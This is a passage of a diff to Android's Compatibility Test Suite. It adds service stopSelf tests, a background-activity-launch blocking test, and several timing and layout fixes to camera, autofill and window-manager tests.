+                    return true;
+                case STOP_SELF_CODE:
+                    stopSelf(mStartId);
+                    return true;
                 default:
                     return super.onTransact(code, data, reply, flags);
             }
@@ -99,6 +110,7 @@
 
     @Override
     public void onStart(Intent intent, int startId) {
+        mStartId = startId;
         if (intent.getExtras() != null) {
             IBinderParcelable parcelable
                     = (IBinderParcelable) intent.getExtras().getParcelable(REPORT_OBJ_NAME);
@@ -130,7 +142,11 @@
     @Override
     public boolean onUnbind(Intent intent) {
         if (mReportObject != null) {
-            bindAction(UNBIND_CODE);
+            if (mIsStoppedSelfSuccess) {
+                bindAction(STOP_SELF_SUCCESS_UNBIND_CODE);
+            } else {
+                bindAction(UNBIND_CODE);
+            }
         }
         return true;
     }
diff --git a/tests/app/app/src/android/app/stubs/LocalStoppedService.java b/tests/app/app/src/android/app/stubs/LocalStoppedService.java
new file mode 100644
index 0000000..b569f95
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/LocalStoppedService.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.app.stubs;
+
+public class LocalStoppedService extends LocalService
+{
+}
+
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 54f1361..2a0e096 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -1182,10 +1182,6 @@
                 appInfo.uid, ActivityManager.RunningAppProcessInfo.IMPORTANCE_CANT_SAVE_STATE-1,
                 WAIT_TIME);
         uidBackgroundListener.register();
-        UidImportanceListener uidCachedListener = new UidImportanceListener(mContext,
-                appInfo.uid, ActivityManager.RunningAppProcessInfo.IMPORTANCE_CANT_SAVE_STATE + 1,
-                WAIT_TIME);
-        uidCachedListener.register();
 
         WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid,
                 WAIT_TIME);
@@ -1254,14 +1250,14 @@
                     AccessibilityService.GLOBAL_ACTION_BACK);
 
             // Wait for process to become cached
-            uidCachedListener.waitForValue(
+            uidBackgroundListener.waitForValue(
                     IMPORTANCE_CACHED,
                     IMPORTANCE_CACHED);
             assertEquals(IMPORTANCE_CACHED,
                     am.getPackageImportance(CANT_SAVE_STATE_1_PACKAGE_NAME));
 
             uidWatcher.expect(WatchUidRunner.CMD_CACHED, null);
-            uidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
+            uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
 
             // While in background, should go in to normal idle state.
             // Force app to go idle now
@@ -1273,7 +1269,6 @@
             uidWatcher.finish();
             uidForegroundListener.unregister();
             uidBackgroundListener.unregister();
-            uidCachedListener.unregister();
         }
     }
 
@@ -1418,7 +1413,7 @@
             getInstrumentation().getUiAutomation().performGlobalAction(
                     AccessibilityService.GLOBAL_ACTION_BACK);
             uid1Watcher.expect(WatchUidRunner.CMD_CACHED, null);
-            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
+            uid1Watcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
 
             // Make both apps idle for cleanliness.
             cmd = "am make-uid-idle " + CANT_SAVE_STATE_1_PACKAGE_NAME;
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index 6649346..5486082 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -29,6 +29,7 @@
 import android.app.stubs.LocalForegroundService;
 import android.app.stubs.LocalGrantedService;
 import android.app.stubs.LocalService;
+import android.app.stubs.LocalStoppedService;
 import android.app.stubs.NullService;
 import android.app.stubs.R;
 import android.content.ComponentName;
@@ -77,6 +78,7 @@
     private static final int STATE_DESTROY = 4;
     private static final int STATE_REBIND = 5;
     private static final int STATE_UNBIND_ONLY = 6;
+    private static final int STATE_STOP_SELF_SUCCESS_UNBIND = 6;
     private static final int DELAY = 5000;
     private static final
         String EXIST_CONN_TO_RECEIVE_SERVICE = "existing connection to receive service";
@@ -220,6 +222,46 @@
         }
     }
 
+    private class TestStopSelfConnection extends TestConnection {
+        private IBinder mService;
+
+        public TestStopSelfConnection() {
+            super(false /* expectDisconnect */, true /* setReporter */);
+        }
+
+        private void executeTransact(int code) {
+            Parcel data = Parcel.obtain();
+            data.writeInterfaceToken(LocalService.SERVICE_LOCAL);
+            try {
+                mService.transact(code, data, null /* reply */, 0);
+            } catch (RemoteException e) {
+                finishBad("DeadObjectException when sending reporting object");
+            }
+            data.recycle();
+        }
+
+        public void stopSelf() {
+            executeTransact(LocalService.STOP_SELF_CODE);
+        }
+
+        public void stopSelfResult() {
+            executeTransact(LocalService.STOP_SELF_RESULT_CODE);
+        }
+
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            mService = service;
+            super.onServiceConnected(name, service);
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+            synchronized (this) {
+                mService = null;
+            }
+        }
+    }
+
     final class IsolatedConnection implements ServiceConnection {
         private IBinder mService;
         private int mUid;
@@ -756,12 +798,70 @@
                             + mExpectedServiceState + ")");
                 }
                 return true;
+            } else if (code == LocalService.STOP_SELF_SUCCESS_UNBIND_CODE) {
+                data.enforceInterface(LocalService.SERVICE_LOCAL);
+                if (mExpectedServiceState == STATE_STOP_SELF_SUCCESS_UNBIND) {
+                    finishGood();
+                } else {
+                    finishBad("onUnbind() was called when not expected (state="
+                            + mExpectedServiceState + ")");
+                }
+                return true;
             } else {
                 return super.onTransact(code, data, reply, flags);
             }
         }
     }
 
+    public void testStopSelf() throws Exception {
+        TestStopSelfConnection conn = new TestStopSelfConnection();
+        boolean success = false;
+        final Intent service = new Intent(mContext, LocalStoppedService.class);
+        try {
+            conn.setMonitor(true);
+            mExpectedServiceState = STATE_START_1;
+            mContext.bindService(service, conn, 0);
+            mContext.startService(service);
+            waitForResultOrThrow(DELAY, EXIST_CONN_TO_RECEIVE_SERVICE);
+            success = true;
+        } finally {
+            if (!success) {
+                mContext.unbindService(conn);
+                mContext.stopService(service);
+            }
+        }
+        // Expect to see the service unbind and then destroyed.
+        mExpectedServiceState = STATE_UNBIND;
+        conn.stopSelf();
+        waitForResultOrThrow(DELAY, EXIST_CONN_TO_LOSE_SERVICE);
+
+        mContext.unbindService(conn);
+    }
+
+    public void testStopSelfResult() throws Exception {
+        TestStopSelfConnection conn = new TestStopSelfConnection();
+        boolean success = false;
+        final Intent service = new Intent(mContext, LocalStoppedService.class);
+        try {
+            conn.setMonitor(true);
+            mExpectedServiceState = STATE_START_1;
+            mContext.bindService(service, conn, 0);
+            mContext.startService(service);
+            waitForResultOrThrow(DELAY, EXIST_CONN_TO_RECEIVE_SERVICE);
+            success = true;
+        } finally {
+            if (!success) {
+                mContext.unbindService(conn);
+                mContext.stopService(service);
+            }
+        }
+        // Expect to see the service unbind and then destroyed.
+        mExpectedServiceState = STATE_STOP_SELF_SUCCESS_UNBIND;
+        conn.stopSelfResult();
+        waitForResultOrThrow(DELAY, EXIST_CONN_TO_LOSE_SERVICE);
+
+        mContext.unbindService(conn);
+    }
 
     public void testLocalStartClass() throws Exception {
         startExpectResult(mLocalService);
diff --git a/tests/autofillservice/res/layout/two_horizontal_text_fields.xml b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
index 773afae..166e73c 100644
--- a/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
+++ b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
@@ -17,28 +17,40 @@
 
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     android:id="@+id/parent"
-    android:orientation="horizontal"
-    android:layout_width="match_parent"
-    android:layout_height="wrap_content">
+    android:orientation="vertical"
+    android:layout_width="fill_parent"
+    android:layout_height="fill_parent" >
 
-    <TextView android:id="@+id/static_text"
-        android:paddingEnd="16dp"
+    <LinearLayout
+        android:orientation="horizontal"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content">
+
+        <TextView android:id="@+id/static_text"
+            android:paddingEnd="16dp"
+            android:layout_width="wrap_content"
+            android:layout_height="match_parent"
+            android:text="YO:"/>
+
+        <TextView android:id="@+id/first"
+            android:paddingEnd="16dp"
+            android:layout_width="wrap_content"
+            android:layout_height="match_parent"/>
+
+        <TextView android:id="@+id/second"
+            android:layout_weight="1"
+            android:layout_width="0dp"
+            android:layout_height="match_parent"/>
+    </LinearLayout>
+
+    <LinearLayout
         android:layout_width="wrap_content"
-        android:layout_height="match_parent"
-        android:text="YO:"/>
+        android:layout_height="fill_parent">
 
-    <TextView android:id="@+id/first"
-        android:paddingEnd="16dp"
-        android:layout_width="wrap_content"
-        android:layout_height="match_parent"/>
+        <ImageView android:id="@+id/img"
+            android:paddingStart="16dp"
+            android:layout_width="wrap_content"
+            android:layout_height="match_parent"/>
+    </LinearLayout>
 
-    <TextView android:id="@+id/second"
-        android:layout_weight="1"
-        android:layout_width="0dp"
-        android:layout_height="match_parent"/>
-
-    <ImageView android:id="@+id/img"
-        android:paddingStart="16dp"
-        android:layout_width="wrap_content"
-        android:layout_height="match_parent"/>
-</LinearLayout>
\ No newline at end of file
+</LinearLayout>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 0dbfc73..64dee4d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -2397,6 +2397,9 @@
                 assertTextAndValue(passwordNode, password);
 
                 waitUntilDisconnected();
+
+                // Wait and check if the save window is correctly hidden.
+                mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
             } catch (RetryableException e) {
                 throw new RetryableException(e, "on step %d", i);
             } catch (Throwable t) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 75e0fca..a5ea222 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -145,7 +145,9 @@
     /**
      * Test that the available stream configurations contain a few required formats and sizes.
      */
+    @CddTest(requirement="7.5.1/C-1-2")
     public void testAvailableStreamConfigs() throws Exception {
+        boolean firstBackFacingCamera = true;
         for (int i = 0; i < mAllCameraIds.length; i++) {
             CameraCharacteristics c = mCharacteristics.get(i);
             StreamConfigurationMap config =
@@ -216,10 +218,13 @@
                             sensorResolution >= MIN_FRONT_SENSOR_RESOLUTION);
                     break;
                 case CameraCharacteristics.LENS_FACING_BACK:
-                    assertTrue("Back Sensor resolution should be at least "
-                            + MIN_BACK_SENSOR_RESOLUTION +
-                            " pixels, is "+ sensorResolution,
-                            sensorResolution >= MIN_BACK_SENSOR_RESOLUTION);
+                    if (firstBackFacingCamera) {
+                        assertTrue("Back Sensor resolution should be at least "
+                                + MIN_BACK_SENSOR_RESOLUTION +
+                                " pixels, is "+ sensorResolution,
+                                sensorResolution >= MIN_BACK_SENSOR_RESOLUTION);
+                        firstBackFacingCamera = false;
+                    }
                     break;
                 default:
                     break;
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/Components.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/Components.java
index 56aa319..5023481 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/Components.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/Components.java
@@ -46,6 +46,10 @@
                 "START_ACTIVITY_FROM_FG_ACTIVITY_DELAY_MS_EXTRA";
         public static final String START_ACTIVITY_FROM_FG_ACTIVITY_NEW_TASK_EXTRA =
                 "START_ACTIVITY_FROM_FG_ACTIVITY_NEW_TASK_EXTRA";
+        public static final String LAUNCH_INTENTS_EXTRA = "LAUNCH_INTENTS_EXTRA";
+
+        public static final String ACTION_LAUNCH_BACKGROUND_ACTIVITIES =
+                Components.class.getPackage().getName() + ".ACTION_LAUNCH_BACKGROUND_ACTIVITIES";
     }
 
     /** Extra key constants for {@link #APP_A_SEND_PENDING_INTENT_RECEIVER} */
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/ForegroundActivity.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/ForegroundActivity.java
index 377cabf..1413fbc 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/ForegroundActivity.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/ForegroundActivity.java
@@ -16,17 +16,25 @@
 
 package android.server.wm.backgroundactivity.appa;
 
+import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.ACTION_LAUNCH_BACKGROUND_ACTIVITIES;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_BACKGROUND_ACTIVITY_EXTRA;
+import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_INTENTS_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_SECOND_BACKGROUND_ACTIVITY_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.RELAUNCH_FOREGROUND_ACTIVITY_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.START_ACTIVITY_FROM_FG_ACTIVITY_DELAY_MS_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.START_ACTIVITY_FROM_FG_ACTIVITY_NEW_TASK_EXTRA;
 
 import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
 import android.os.Bundle;
+import android.os.Parcelable;
 import android.os.SystemClock;
 
+import java.util.Arrays;
+
 /**
  * Foreground activity that makes AppA as foreground.
  */
@@ -34,6 +42,16 @@
 
     private boolean mRelaunch = false;
 
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            // Need to copy as a new array instead of just casting to Intent[] since a new array of
+            // type Parcelable[] is created when deserializing.
+            Parcelable[] intents = intent.getParcelableArrayExtra(LAUNCH_INTENTS_EXTRA);
+            startActivities(Arrays.copyOf(intents, intents.length, Intent[].class));
+        }
+    };
+
     @Override
     public void onCreate(Bundle bundle) {
         super.onCreate(bundle);
@@ -66,6 +84,7 @@
             newIntent.setClass(this, SecondBackgroundActivity.class);
             startActivity(newIntent);
         }
+        registerReceiver(mReceiver, new IntentFilter(ACTION_LAUNCH_BACKGROUND_ACTIVITIES));
     }
 
     @Override
@@ -78,4 +97,10 @@
             startActivity(getIntent());
         }
     }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        unregisterReceiver(mReceiver);
+    }
 }
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index b1a559f..b4d3ee9 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -30,7 +30,9 @@
 import static android.server.wm.backgroundactivity.appa.Components.APP_A_SEND_PENDING_INTENT_RECEIVER;
 import static android.server.wm.backgroundactivity.appa.Components.APP_A_SIMPLE_ADMIN_RECEIVER;
 import static android.server.wm.backgroundactivity.appa.Components.APP_A_START_ACTIVITY_RECEIVER;
+import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.ACTION_LAUNCH_BACKGROUND_ACTIVITIES;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_BACKGROUND_ACTIVITY_EXTRA;
+import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_INTENTS_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_SECOND_BACKGROUND_ACTIVITY_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.RELAUNCH_FOREGROUND_ACTIVITY_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.START_ACTIVITY_FROM_FG_ACTIVITY_DELAY_MS_EXTRA;
@@ -216,9 +218,7 @@
         pressHomeButton();
         mAmWmState.waitForHomeActivityVisible();
 
-        // Any activity launch will be blocked for 5s because of app switching protection.
-        SystemClock.sleep(7000);
-
+        waitToPreventAppSwitchProtection();
         result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
         assertFalse("Previously foreground Activity should not be able to relaunch itself", result);
         result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
@@ -248,9 +248,7 @@
         pressHomeButton();
         mAmWmState.waitForHomeActivityVisible();
 
-        // Any activity launch will be blocked for 5s because of app switching protection.
-        SystemClock.sleep(7000);
-
+        waitToPreventAppSwitchProtection();
         result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
         assertFalse("Previously foreground Activity should not be able to relaunch itself", result);
         result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
@@ -276,9 +274,7 @@
         pressHomeButton();
         mAmWmState.waitForHomeActivityVisible();
 
-        // Any activity launch will be blocked for 5s because of app switching protection.
-        SystemClock.sleep(5000);
-
+        waitToPreventAppSwitchProtection();
         result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
         assertFalse("Previously foreground Activity should not be able to relaunch itself", result);
         assertTaskStack(new ComponentName[]{APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
@@ -306,6 +302,39 @@
     }
 
     @Test
+    public void testSecondActivityBlockedWhenBackgroundActivityLaunch() throws Exception {
+        Intent baseActivityIntent = new Intent();
+        baseActivityIntent.setComponent(APP_A_FOREGROUND_ACTIVITY);
+        baseActivityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(baseActivityIntent);
+        boolean result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
+        assertTrue("Not able to start foreground activity", result);
+        assertTaskStack(new ComponentName[]{APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
+        pressHomeButton();
+        mAmWmState.waitForHomeActivityVisible();
+        waitToPreventAppSwitchProtection();
+
+        // The activity, now in the background, will attempt to start 2 activities in quick
+        // succession
+        Intent broadcastIntent = new Intent(ACTION_LAUNCH_BACKGROUND_ACTIVITIES);
+        Intent bgActivity1 = new Intent();
+        bgActivity1.setComponent(APP_A_BACKGROUND_ACTIVITY);
+        Intent bgActivity2 = new Intent();
+        bgActivity2.setComponent(APP_A_SECOND_BACKGROUND_ACTIVITY);
+        broadcastIntent.putExtra(LAUNCH_INTENTS_EXTRA, new Intent[]{bgActivity1, bgActivity2});
+        mContext.sendBroadcast(broadcastIntent);
+
+        // There should be 2 activities in the background (not focused) INITIALIZING
+        result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
+        assertFalse("Activity should not have been launched in the foreground", result);
+        result = waitForActivityFocused(APP_A_SECOND_BACKGROUND_ACTIVITY);
+        assertFalse("Second activity should not have been launched in the foreground", result);
+        assertTaskStack(
+                new ComponentName[]{APP_A_SECOND_BACKGROUND_ACTIVITY, APP_A_BACKGROUND_ACTIVITY,
+                        APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
+    }
+
+    @Test
     public void testPendingIntentActivityBlocked() throws Exception {
         // Cannot start activity by pending intent, as both appA and appB are in background
         sendPendingIntentActivity();
@@ -399,6 +428,11 @@
         assertTaskStack(new ComponentName[]{APP_A_BACKGROUND_ACTIVITY}, APP_A_BACKGROUND_ACTIVITY);
     }
 
+    private void waitToPreventAppSwitchProtection() {
+        // Any activity launch will be blocked for 5s because of app switching protection.
+        SystemClock.sleep(7000);
+    }
+
     private void assertTaskStack(ComponentName[] expectedComponents,
             ComponentName sourceComponent) {
         if (expectedComponents == null) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 3fcb7e0..523e660 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -260,6 +260,7 @@
         // Launch a different activity on top.
         launchActivity(BROADCAST_RECEIVER_ACTIVITY);
         mAmWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
+        mAmWmState.waitForActivityState(MOVE_TASK_TO_BACK_ACTIVITY,STATE_STOPPED);
         final boolean shouldBeVisible =
                 !mAmWmState.getAmState().isBehindOpaqueActivities(MOVE_TASK_TO_BACK_ACTIVITY);
         mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY, shouldBeVisible);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
index a1c522c..839371f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
@@ -108,6 +108,8 @@
 
     private void startActivityAndVerifyResult(final ComponentName entryActivity,
             final ComponentName actualActivity, boolean shouldStart) {
+        mAmWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+
         // Pass in different data only when cold starting. This is to make the intent
         // different in subsequent warm/hot launches, so that the entrypoint alias
         // activity is always started, but the actual activity is not started again
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index e128f47..d6489a8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -410,6 +410,9 @@
     /**
      * Test that device orientation is restored when an activity that requests it is no longer
      * visible.
+     *
+     * TODO(b/139936670, b/112688380): This test case fails on some vendor devices which has
+     * rotation sensing optimization. So this is listed in cts-known-failures.xml.
      */
     @Test
     public void testAppOrientationRequestConfigClears() {
@@ -515,6 +518,9 @@
 
     /**
      * Test that device handles moving between two tasks with different orientations.
+     *
+     * TODO(b/139936670, b/112688380): This test case fails on some vendor devices which has
+     * rotation sensing optimization. So this is listed in cts-known-failures.xml.
      */
     @Test
     public void testTaskCloseRestoreFreeOrientation() {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java b/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
index 4830da0..4eae8f1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
@@ -16,6 +16,7 @@
 
 package android.server.wm;
 
+import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
 import static android.server.wm.EnsureBarContrastTest.TestActivity.EXTRA_ENSURE_CONTRAST;
 import static android.server.wm.EnsureBarContrastTest.TestActivity.EXTRA_LIGHT_BARS;
 import static android.server.wm.EnsureBarContrastTest.TestActivity.backgroundForBar;
@@ -26,6 +27,7 @@
 import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assume.assumeFalse;
 
 import android.app.Activity;
 import android.content.Intent;
@@ -121,6 +123,10 @@
     }
 
     public void runTestDontEnsureContrast(boolean lightBars) {
+        assumeFalse(
+                "Skipping test: automotive may not have transparent background for the status bar",
+                getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+                        FEATURE_AUTOMOTIVE));
         TestActivity activity = launchAndWait(mTestActivity, lightBars, false /* ensureContrast */);
         for (Bar bar : Bar.BARS) {
             Bitmap bitmap = getOnMainSync(() -> activity.screenshotBar(bar, mDumper));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
index 4531584..2dfd254 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
@@ -512,7 +512,11 @@
 
     @Test
     public void testDockedStackToMinimizeWhenUnlocked() throws Exception {
-        launchActivityInSplitScreenWithRecents(TEST_ACTIVITY);
+        if (!mIsHomeRecentsComponent) {
+            launchActivityInDockStackAndMinimize(TEST_ACTIVITY);
+        } else {
+            launchActivityInSplitScreenWithRecents(TEST_ACTIVITY);
+        }
         mAmWmState.computeState(TEST_ACTIVITY);
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.sleepDevice()
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
index 908dc09..64e34fb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
@@ -208,7 +208,6 @@
         // Start side activity so callbackTrackingActivity won't be paused due to minimized dock.
         moveTaskToPrimarySplitScreen(callbackTrackingActivity.getTaskId(),
             true/* showSideActivity */);
-        waitAndAssertActivityStates(state(callbackTrackingActivity, ON_RESUME));
         getLifecycleLog().clear();
 
         // Launch second activity
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 1f35533..f7337e9 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -659,7 +659,9 @@
      * Moves the device into split-screen with the specified task into the primary stack.
      * @param taskId             The id of the task to move into the primary stack.
      * @param showSideActivity   Whether to show the Recents activity (or a placeholder activity in
-     *                           place of the Recents activity if home is the recents component)
+     *                           place of the Recents activity if home is the recents component).
+     *                           If {@code true} it will also wait for activity in the primary
+     *                           split-screen stack to be resumed.
      */
     public void moveTaskToPrimarySplitScreen(int taskId, boolean showSideActivity) {
         final boolean isHomeRecentsComponent = mAmWmState.getAmState().isHomeRecentsComponent();
@@ -670,11 +672,29 @@
                     null /* initialBounds */, showSideActivity && !isHomeRecentsComponent);
             mAmWmState.waitForRecentsActivityVisible();
 
-            if (isHomeRecentsComponent && showSideActivity) {
-                // Launch Placeholder Side Activity
-                final Activity sideActivity = mSideActivityRule.launchActivity(
-                        new Intent());
-                mAmWmState.waitForActivityState(sideActivity.getComponentName(), STATE_RESUMED);
+            if (showSideActivity) {
+                if (isHomeRecentsComponent) {
+                    // Launch Placeholder Side Activity
+                    final Activity sideActivity = mSideActivityRule.launchActivity(
+                            new Intent());
+                    mAmWmState.waitForActivityState(sideActivity.getComponentName(), STATE_RESUMED);
+                }
+
+                // There are two cases when showSideActivity == true:
+                // Case 1: it's 3rd-party launcher and it should show recents, so the primary split
+                // screen won't enter minimized dock, but the activity on primary split screen
+                // should be relaunched.
+                // Case 2: It's not 3rd-party launcher but we launched side activity on secondary
+                // split screen, the activity on primary split screen should enter then leave
+                // minimized dock.
+                // In both cases, we shall wait for the state of the activity on primary split
+                // screen to resumed, so the LifecycleLog won't affect the following tests.
+                mAmWmState.waitForWithAmState(state -> {
+                    final ActivityManagerState.ActivityStack stack =
+                            state.getStandardStackByWindowingMode(
+                                    WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+                    return stack != null && stack.getResumedActivity() != null;
+                }, "activity in the primary split-screen stack must be resumed");
             }
         });
     }
@@ -1086,6 +1106,9 @@
         }
 
         LockScreenSession unlockDevice() {
+            // Make sure the unlock button event is send to the default display.
+            tapOnDisplay(10, 10, DEFAULT_DISPLAY);
+
             pressUnlockButton();
             return this;
         }
diff --git a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
index c457ac4..df86fa6 100644
--- a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
@@ -25,6 +25,7 @@
 import android.util.Log;
 import android.content.pm.PackageManager;
 
+import java.lang.Math;
 import java.util.ArrayList;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
@@ -37,6 +38,7 @@
